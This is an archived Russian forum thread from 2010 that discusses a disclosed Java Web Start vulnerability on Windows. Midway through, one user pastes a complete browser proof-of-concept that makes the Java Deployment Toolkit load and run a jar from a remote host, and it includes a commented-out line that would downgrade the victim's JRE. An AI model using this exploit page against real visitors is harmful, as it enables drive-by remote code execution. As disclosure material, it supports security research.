PDA

Просмотр полной версии : Программная “дыра” в Java делает пользователей Windows уязвимыми перед хакерами

3d_max
13.04.2010, 09:50
Тревожные известия пришли для пользователей компьютеров под управлением операционной системы Windows. Сразу из двух источников появились сообщения об обнаружении в технологии Java новой уязвимости, которая может использоваться хакерами для атак на Windows PC. Причем, для осуществления такой атаки пользователям достаточно посетить веб-страницу с вредоносным кодом.

Специалист Google Тавис Орманди (Tavis Ormandy) и работник компании Wintercore Рубен Сантамарта (Ruben Santamarta) независимо друг от друга опубликовали в различных источниках подробности о данной уязвимости. По их словам, проблема связана с фреймворком Java Web Start, позволяющим разработчикам легко создавать Java приложения. При этом Тавис Орманди подчеркивает, что отключение данного Java плагина отнюдь не является панацеей от хакерских атак.

По данным специалистов, с помощью указанной уязвимости (которую, кстати, оказалось очень легко обнаружить) злоумышленник способен передавать произвольные параметры в утилиту и, в конечном счете, получать контроль над системой. В блоге Threat Post лаборатории Касперского говорится, что эта уязвимость может использоваться на всех актуальных версиях Windows, а также в популярных браузерах, включая Firefox, Internet Explorer и Chrome.

Тавис Орманди отмечает, что он проинформировал разработчиков технологии Java Web Start из Sun Microsystems об обнаруженной проблеме. Однако ему сообщили, что в компании не считают приоритет данной уязвимости достаточно высоким, чтобы выпустить патч для нее вне стандартного квартального цикла.

12.04.2010
Источник (http://news.ferra.ru/hard/2010/04/12/97943/)
Dreak
13.04.2010, 16:50
О_о Ссылку на код в студию.
BlackSite
13.04.2010, 16:52
Удалаю java к чертям :) )))
mr.The
13.04.2010, 17:33
Windows делает пользователей Windows уязвимыми перед хакерами
3d_max
13.04.2010, 17:54
Ссылки на код нет
.antibiotic.
13.04.2010, 18:00
повсюду одни дыры..
до этого новость была про 25 дыр.. в вин
BrainDeaD
13.04.2010, 18:02
Windows делает пользователей Windows уязвимыми перед хакерами
дырка в java, при чём тут windows?
zlo12
13.04.2010, 18:18
А они опубликуют место с дырочкой или так, попугать решили?
BlackSun
13.04.2010, 18:23
А они опубликуют место с дырочкой или так, попугать решили?
http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1


<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010

var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");

o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

// Trigger the bug
o.launch(u);
} else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");

o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);

// Test both MIME types
try {
// Old type
o.launch(u);
} catch (e) {
// New type
n.launch(u);
}
}

// Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
// this classic exploit?
// http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1

// o.installJRE("1.4.2_18");
</script>
</body>
</html>
NewCapital
13.04.2010, 18:55
повсюду одни дыры..
до этого новость была про 25 дыр.. в вин
вдуватели и сюда добрались :(
лиж бы дыру найти
Svara
13.04.2010, 19:02
Как модем поменяю, перейду на убунту. А то стоит и свой длинк настроить немогу.
Life7
13.04.2010, 22:22
дыра снова...
B1t.exe
13.04.2010, 22:43
http://pikucha.ru/382888/anti.jpeg

пипец !!! че за херню выложили на топике, что у меня антивирс так жестко реагирует на это?
ложная тревога или "по делу" ?
altblitz
13.04.2010, 22:59
года два или три назад,
платёжные системы наотрез отказались от Явы,
которую использовали для идентификации клиентов.

сочли, что запускать аппликации на компе клиента - нарушает безопасность.

за ненадобностью хакерам - код сплойта нашёл путь в массы кракеров.
B1t.exe
13.04.2010, 23:03
java...
хмм. читал книгу на eng и там написано было, что один из неуязвимым считается java и php. , и что и них нельзя вызывать переполнение буфера..
херня какая то.